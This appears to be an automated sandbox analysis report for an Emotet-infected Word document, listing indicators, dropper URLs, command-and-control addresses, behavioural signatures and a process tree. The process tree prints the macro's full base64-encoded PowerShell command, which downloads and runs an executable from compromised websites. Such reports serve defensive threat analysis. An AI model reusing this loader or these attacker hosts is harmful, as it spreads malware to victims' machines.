Analysis
- max time kernel
137s - max time network
137s - platform
windows10_x64 - resource
win10 - submitted
01/10/2020, 08:00
General
- Target emotet_e1_f6282300466cc494ecc66faafb76d6d9fdd8aeba93ba804e5ad7a66bcad9795d_2020-10-01__075654353273._doc.doc
- Size 150KB
- Sample201001-k71rayn5pn
- SHA256 f6282300466cc494ecc66faafb76d6d9fdd8aeba93ba804e5ad7a66bcad9795d
Malware Config
Extracted
-
ps1
-
exe.dropper
http://blog.zunapro.com/wp-admin/i/
-
exe.dropper
http://brycebrumley.com/wp-admin/IR/
-
exe.dropper
http://electronicsvibes.com/wp-includes/A9n/
-
exe.dropper
http://ashgroup.org/wp-snapshots/Ap/
-
exe.dropper
https://beu-hr.com/9gqqi5eat/K2y/
-
exe.dropper
https://manhtien.net/wp-includes/Tw3/
-
exe.dropper
http://pattanitkpark.com/gipe2h/BIY/
Extracted
-
emotet
-
202.22.141.45:80
-
37.187.161.206:8080
-
202.29.239.162:443
-
80.87.201.221:7080
-
82.76.111.249:443
-
216.47.196.104:80
-
192.241.143.52:8080
-
192.81.38.31:80
-
87.106.253.248:8080
-
64.201.88.132:80
-
192.241.146.84:8080
-
12.162.84.2:8080
-
1.226.84.243:8080
-
177.129.17.170:443
-
202.134.4.210:7080
-
70.169.17.134:80
-
152.169.22.67:80
-
5.196.35.138:7080
-
138.97.60.141:7080
-
203.205.28.68:80
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f6282300466cc494ecc66faafb76d6d9fdd8aeba93ba804e5ad7a66bcad9795d_2020-10-01__075654353273._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATwBGAEkAbABlAFwAbAA0AHoAMgBSAHYAXwBcAHcAbgB4AFUAegBoAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBpAFQAYABZAGAAcABSAGAAbwBUAE8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAFYAcgBxAHcAdABrAGUAIAA9ACAAKAAnAFYANAAnACsAKAAnADgAJwArACcAZwB4ACcAKQArACcAMABhACcAKQA7ACQAQgA2ADAAaQBqAHIAYQA9ACgAKAAnAFUAOQAnACsAJwBvACcAKQArACgAJwA4ACcAKwAnAF8AcQAnACkAKwAnADMAJwApADsAJABOAGIAbgA0AHcAOABiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZAAnACsAJwBXADcAJwApACsAKAAnAEwANAAnACsAJwB6ADIAcgAnACkAKwAnAHYAXwAnACsAKAAnAGQAVwAnACsAJwA3AFcAbgB4ACcAKQArACgAJwB1AHoAaAB5AGQAVwAnACsAJwA3ACcAKQApAC4AIgByAGUAUABsAGAAQQBjAEUAIgAoACgAJwBkAFcAJwArACcANwAnACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQAVgByAHEAdwB0AGsAZQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVQA3ADUAMwBtAHAANAA9ACgAKAAnAEMAaQAxACcAKwAnADcAawAnACkAKwAnAHMANgAnACkAOwAkAFYAOABlADUAMgBiADcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAFQAOwAkAFIAOQBwAGIAYQBnAG8APQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwBiAGwAJwArACcAbwBnACcAKwAnAC4AegAnACkAKwAoACcAdQAnACsAJwBuAGEAcAByAG8ALgAnACkAKwAoACcAYwBvAG0ALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAaQAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAJwArACcAYwAnACkAKwAnAGUAYgAnACsAKAAnAHIAdQBtAGwAJwArACcAZQB5AC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8ASQBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwBlAGwAJwApACsAKAAnAGUAYwAnACsAJwB0AHIAJwApACsAKAAnAG8AbgBpAGMAJwArACcAcwB2ACcAKQArACgAJwBpAGIAZQBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsACcAKwAnAHUAZABlAHMAJwArACcALwAnACkAKwAoACcAQQA5AG4ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AYQAnACsAJwBzAGgAZwByACcAKwAnAG8AdQBwACcAKQArACgAJwAuACcAKwAnAG8AcgBnACcAKQArACcALwB3ACcAKwAoACcAcAAtAHMAbgAnACsAJwBhAHAAJwApACsAKAAnAHMAaABvACcAKwAnAHQAJwApACsAKAAnAHMALwBBAHAAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvAGIAZQB1ACcAKQArACcALQAnACsAKAAnAGgAJwArACcAcgAuAGMAbwBtACcAKwAnAC8AOQBnAHEAJwArACcAcQBpACcAKQArACcANQAnACsAKAAnAGUAJwArACcAYQB0AC8AJwApACsAKAAnAEsAJwArACcAMgB5AC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAnACsAJwAvAG0AYQAnACkAKwAoACcAbgBoAHQAJwArACcAaQBlAG4AJwArACcALgBuACcAKQArACgAJwBlAHQALwB3ACcAKwAnAHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMALwBUACcAKwAnAHcAMwAnACsAJwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAcABhAHQAdABhAG4AJwArACcAaQB0ACcAKQArACcAawAnACsAKAAnAHAAYQAnACsAJwByAGsALgAnACkAKwAoACcAYwBvAG0ALwBnACcAKwAnAGkAJwApACsAKAAnAHAAZQAyACcAKwAnAGgAJwApACsAJwAvACcAKwAnAEIAJwArACgAJwBJAFkAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAG0AdwA1AGQAMwB0AD0AKAAoACcAUwAnACsAJwB3ACcAKwAnADMANABvAG8AJwApACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMABqAG0AMABsAHoAIABpAG4AIAAkAFIAOQBwAGIAYQBnAG8AKQB7AHQAcgB5AHsAJABWADgAZQA1ADIAYgA3AC4AIgBEAG8AdwBuAGwAbwBgAEEAYABkAGYAYABJAEwARQAiACgAJABSADAAagBtADAAbAB6ACwAIAAkAE4AYgBuADQAdwA4AGIAKQA7ACQAQgB0AG8AMgBlAGoAdwA9ACgAKAAnAEEAJwArACcAOABmACcAKQArACgAJwBiACcAKwAnADMAZQAnACkAKwAnAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AYgBuADQAdwA4AGIAKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADUANwA3ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQATgBiAG4ANAB3ADgAYgApADsAJABEAGwAeQA1ADkAagBfAD0AKAAoACcASwAnACsAJwBjADEAeQAnACkAKwAoACcAYQAnACsAJwB4AHoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANQAyAGQAZQBlAG0APQAoACcAWgAnACsAKAAnADQAaAB4ACcAKwAnAHIAegAnACkAKwAnAHUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADEAagBkADIAdgBlAD0AKAAoACcASwBvADIAJwArACcAaAA4ACcAKQArACcAXwBhACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe"C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mbussdapi\mprapi.exe"C:\Windows\SysWOW64\mbussdapi\mprapi.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1972-23-0x00000000005E0000-0x00000000005F0000-memory.dmp
memory/1972-22-0x00000000005C0000-0x00000000005D2000-memory.dmp
memory/2800-13-0x000002AF906A0000-0x000002AF906A1000-memory.dmp
memory/2800-14-0x000002AFA8E30000-0x000002AFA8E31000-memory.dmp
memory/2800-12-0x00007FF9C2C90000-0x00007FF9C367C000-memory.dmp
memory/2948-19-0x00000000005B0000-0x00000000005C0000-memory.dmp
memory/2948-18-0x0000000002200000-0x0000000002212000-memory.dmp
memory/3828-6-0x000001FBA525C000-0x000001FBA5261000-memory.dmp
memory/3828-11-0x000001FBA7C2A000-0x000001FBA7C2F000-memory.dmp
memory/3828-10-0x000001FBA7C2A000-0x000001FBA7C2F000-memory.dmp
memory/3828-9-0x000001FBA7C27000-0x000001FBA7C28000-memory.dmp
memory/3828-8-0x000001FBA7C28000-0x000001FBA7C2A000-memory.dmp
memory/3828-7-0x000001FBA7C28000-0x000001FBA7C2A000-memory.dmp
memory/3828-0-0x00007FF9C91C0000-0x00007FF9C9886000-memory.dmp
memory/3828-5-0x000001FBA79D9000-0x000001FBA79DE000-memory.dmp
memory/3828-4-0x000001FBA79D9000-0x000001FBA79DE000-memory.dmp
memory/3828-3-0x000001FBA79D6000-0x000001FBA79D9000-memory.dmp
memory/3828-1-0x000001FBA7410000-0x000001FBA7414000-memory.dmp